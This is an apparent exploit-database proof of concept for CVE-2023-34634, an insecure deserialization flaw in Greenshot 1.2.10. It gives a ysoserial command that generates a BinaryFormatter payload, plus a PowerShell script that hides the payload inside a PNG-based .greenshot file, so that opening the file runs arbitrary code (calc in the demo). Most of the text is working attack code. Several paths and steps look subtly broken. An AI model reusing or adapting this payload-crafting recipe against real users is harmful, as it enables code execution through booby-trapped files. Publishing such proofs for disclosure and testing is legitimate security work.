# Exploit Title: GreenShot  1.2.10 - Insecure Deserialization Arbitrary Code Execution
# Date: 26/07/2023

# Version:
# Tested on: windows 10.0.19045 N/A build 19045
# CVE : CVE-2023-34634
# GreenShot 1.2.10 and below is vulnerable to an insecure object deserialization in its custom *.greenshot format
# A stream of .Net object is serialized and inscureley deserialized when a *.greenshot file is open with the software
# On a default install the *.greenshot file extension is associated with the programm, so double-click on a*.greenshot file
# will lead to arbitrary code execution
# Generate the payload. You need to be installed on your machine. Grab it at
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" --outputpath payload.bin -o raw
#load the payload
$payload = Get-Content .payload.bin -Encoding Byte
# retrieve the length of the payload
$length = $payload.Length
# load the required assembly to craft a PNG file
Add-Type -AssemblyName System.Drawing
# the following lines creates a png file with some text. Code borrowed from
$filename = "$homepoc.greenshot"
$bmp = new-object System.Drawing.Bitmap 250,61
$font = new-object System.Drawing.Font Consolas,24
$brushBg = [System.Drawing.Brushes]::Green
$brushFg = [System.Drawing.Brushes]::Black
$graphics = [System.Drawing.Graphics]::FromImage($bmp)
$graphics.DrawString('POC Greenshot',$font,$brushFg,10,10)

# append the payload to the PNG file
$payload | Add-Content -Path $filename -Encoding Byte -NoNewline
# append the length of the payload
[System.BitConverter]::GetBytes([long]$length) | Add-Content -Path $filename -Encoding Byte -NoNewline
# append the signature
"Greenshot01.02" | Add-Content -path $filename -NoNewline -Encoding Ascii
# launch greenshot. Calc.exe should be executed
